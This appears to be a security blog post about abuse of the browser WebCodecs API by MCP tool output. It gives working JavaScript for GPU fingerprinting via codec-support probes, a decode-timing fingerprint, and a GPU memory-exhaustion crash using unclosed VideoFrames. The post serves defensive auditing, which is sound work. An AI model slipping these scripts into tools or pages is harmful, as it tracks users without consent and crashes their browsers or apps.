MCP Server Security · WebCodecs API · VideoDecoder · AudioDecoder · Codec Fingerprinting · Decode Timing Oracle · GPU Memory Exhaustion · VideoFrame · Hardware Side Channel
MCP server WebCodecs API security
The WebCodecs API (Chrome 94+, Firefox 130+, Safari 16.4+) provides low-level video and audio codec access — VideoDecoder, AudioDecoder, VideoEncoder, VideoFrame — with no permission dialog and no Permissions-Policy directive. MCP tool output can use isConfigSupported() to fingerprint the user's GPU model via hardware codec support, measure decode throughput to create a stable hardware timing fingerprint, exhaust GPU memory with unclosed VideoFrame objects, and infer content structure through hardware decode latency side channels.
WebCodecs API surface
// WebCodecs API — Chrome 94+, Firefox 130+, Safari 16.4+, Edge 94+
// No permission dialog. No Permissions-Policy directive.
// Available in main frame, Web Workers, and Dedicated Workers.
// Check whether a specific codec configuration is hardware-accelerated
const videoSupport = await VideoDecoder.isConfigSupported({
codec: 'hvc1.1.6.L123.B0', // H.265/HEVC Main profile level 4.1
hardwareAcceleration: 'prefer-hardware'
});
// {supported: true, config: {...}} on NVIDIA RTX 30+, Apple Silicon, Intel Arc
// {supported: false} on older Intel iGPU without HEVC hardware decode
const av1Support = await VideoDecoder.isConfigSupported({
codec: 'av01.0.08M.08', // AV1 Main profile level 4.0
hardwareAcceleration: 'prefer-hardware'
});
// {supported: true} only on Intel 11th gen+, NVIDIA Turing+, AMD RDNA2+
// Decode video frames at low level
const decoder = new VideoDecoder({
output: (frame) => {
// frame is a VideoFrame — MUST call frame.close() or it leaks GPU memory
const timestamp = frame.timestamp;
frame.close(); // critical — failure to close leaks GPU-mapped memory
},
error: (e) => console.error(e)
});
decoder.configure({
codec: 'avc1.42001E', // H.264 Baseline profile level 3.0
codedWidth: 1920,
codedHeight: 1080,
hardwareAcceleration: 'prefer-hardware'
});
GPU memory ownership: VideoFrame objects hold references to GPU-mapped memory. Each frame must be explicitly closed via frame.close(). Failure to close frames leaks GPU memory — even when the JS object is garbage collected, the underlying GPU buffer may not be immediately freed. A tool that creates many frames without closing them can exhaust the GPU memory allocator.
Attack 1 — codec fingerprinting via isConfigSupported()
Hardware video codec support is highly GPU-specific. The presence or absence of hardware acceleration for a given codec+profile+level combination is a high-entropy identifier of the user's GPU model and driver version. By probing a matrix of codec configurations, an MCP tool can narrow the user's GPU to within a few models — often a unique identifier when combined with screen resolution and other signals.
// GPU fingerprinting via codec support matrix
// Each codec+profile+level+hardware combination is GPU-specific
async function fingerprintGPU() {
const probes = [
// H.265/HEVC — hardware decode varies significantly by GPU generation
{ codec: 'hvc1.1.6.L93.B0', label: 'H265-L31-hw' },
{ codec: 'hvc1.1.6.L123.B0', label: 'H265-L41-hw' },
{ codec: 'hvc1.2.4.L120.B0', label: 'H265-Main10-hw' },
// AV1 — hardware decode requires 2020+ GPU
{ codec: 'av01.0.08M.08', label: 'AV1-L40-hw' },
{ codec: 'av01.0.12M.10', label: 'AV1-L50-10bit-hw' },
// VP9 — broadly supported but hardware profile varies
{ codec: 'vp09.02.10.10.01', label: 'VP9-Profile2-hw' },
// H.264 — nearly universal but max resolution varies
{ codec: 'avc1.640034', label: 'H264-High-L52-hw' },
];
const results = {};
for (const probe of probes) {
const r = await VideoDecoder.isConfigSupported({
codec: probe.codec,
hardwareAcceleration: 'prefer-hardware'
});
results[probe.label] = r.supported;
// Also check software fallback to distinguish "no hardware" from "not supported at all"
const sw = await VideoDecoder.isConfigSupported({
codec: probe.codec,
hardwareAcceleration: 'prefer-software'
});
results[probe.label + '-sw'] = sw.supported;
}
// The bit vector of results uniquely identifies GPU model in most cases
return results;
}
The combination of H.265 hardware support (requires dedicated GPU in most pre-2023 systems), AV1 hardware support (requires Intel 11th gen+, NVIDIA Turing+, AMD RDNA2+ for hardware decode), and VP9 profile 2 hardware support produces a fingerprint that differs between GPU generations and manufacturers. On Apple Silicon, all three are supported by the Neural Engine and Media Engine — distinguishing it from all Intel/AMD configurations.
Attack 2 — decode throughput as timing fingerprint
Hardware video decoders have throughput limits determined by their ASIC design. Decoding a fixed number of frames and measuring wall-clock time produces a measurement that is stable across browser sessions, resistant to JavaScript timing mitigations, and varies between GPU models by 5–20×.
// GPU timing fingerprint via decode throughput measurement
// Different GPU models decode the same content at significantly different speeds
async function measureDecodeThroughput() {
let framesDecoded = 0;
const decoder = new VideoDecoder({
output: (frame) => { framesDecoded++; frame.close(); },
error: () => {}
});
decoder.configure({
codec: 'avc1.640034', // H.264 High Level 5.2 — stresses the decoder
codedWidth: 3840,
codedHeight: 2160, // 4K resolution
hardwareAcceleration: 'prefer-hardware'
});
// Create synthetic H.264 IDR frames (or use pre-encoded test sequence)
const syntheticFrame = createSyntheticH264IDRFrame(3840, 2160);
const FRAME_COUNT = 50;
const t0 = performance.now();
for (let i = 0; i < FRAME_COUNT; i++) {
decoder.decode(new EncodedVideoChunk({
type: 'key',
timestamp: i * 33333, // 30fps timestamps
data: syntheticFrame
}));
}
await decoder.flush();
const elapsed = performance.now() - t0;
decoder.close();
return {
fps: (FRAME_COUNT / elapsed) * 1000,
elapsed_ms: elapsed,
// Maps to GPU tier: <30fps = iGPU, 30-120fps = mid, >120fps = high-end dGPU
};
}
Attack 3 — GPU memory exhaustion via unclosed VideoFrames
Creating VideoFrame objects from canvas or ImageBitmap sources allocates GPU-mapped memory. If an MCP tool creates many large frames without calling .close(), the GPU memory allocator is exhausted. Unlike CPU heap, GPU memory exhaustion typically crashes the renderer process rather than triggering graceful garbage collection, because the GPU driver does not support paging of video memory in the same way the OS does for RAM.
// Attack: exhaust GPU memory via unclosed VideoFrames
// Each 4K VideoFrame uses ~32 MB of GPU memory (4×3840×2160×4 bytes)
// Creating 32 without closing = ~1 GB GPU memory allocated → crash
const canvas = document.createElement('canvas');
canvas.width = 3840;
canvas.height = 2160;
const ctx = canvas.getContext('2d');
ctx.fillRect(0, 0, 3840, 2160); // fill with something
const frames = [];
for (let i = 0; i < 100; i++) {
// Each createImageBitmap + VideoFrame pair allocates GPU-mapped texture
const bitmap = await createImageBitmap(canvas);
const frame = new VideoFrame(bitmap, { timestamp: i * 33333 });
frames.push(frame); // hold reference — no .close() called
bitmap.close();
// After ~30-50 frames on most GPUs: renderer crashes (OOM)
// On Electron: entire application window crashes
}
// Frames never closed — GPU memory not freed until browser process terminates
What SkillAudit checks
Browser support
| Browser / Runtime | WebCodecs support | Workers | Permissions-Policy |
|---|---|---|---|
| Chrome 94+ | Full — VideoDecoder, AudioDecoder, VideoEncoder, AudioEncoder, VideoFrame, ImageDecoder | Dedicated Workers | None |
| Edge 94+ | Full (Chromium) | Dedicated Workers | None |
| Firefox 130+ | VideoDecoder, AudioDecoder (encode in progress) | Limited | None |
| Safari 16.4+ | VideoDecoder, AudioDecoder, VideoEncoder, VideoFrame | Dedicated Workers | None |
| Electron (all post-Cr94) | Full — highest risk (no GPU sandbox for MCP clients) | All | None |
Related: FileSystemObserver API security · OPFS deep dive · Compression Streams deep dive · All security posts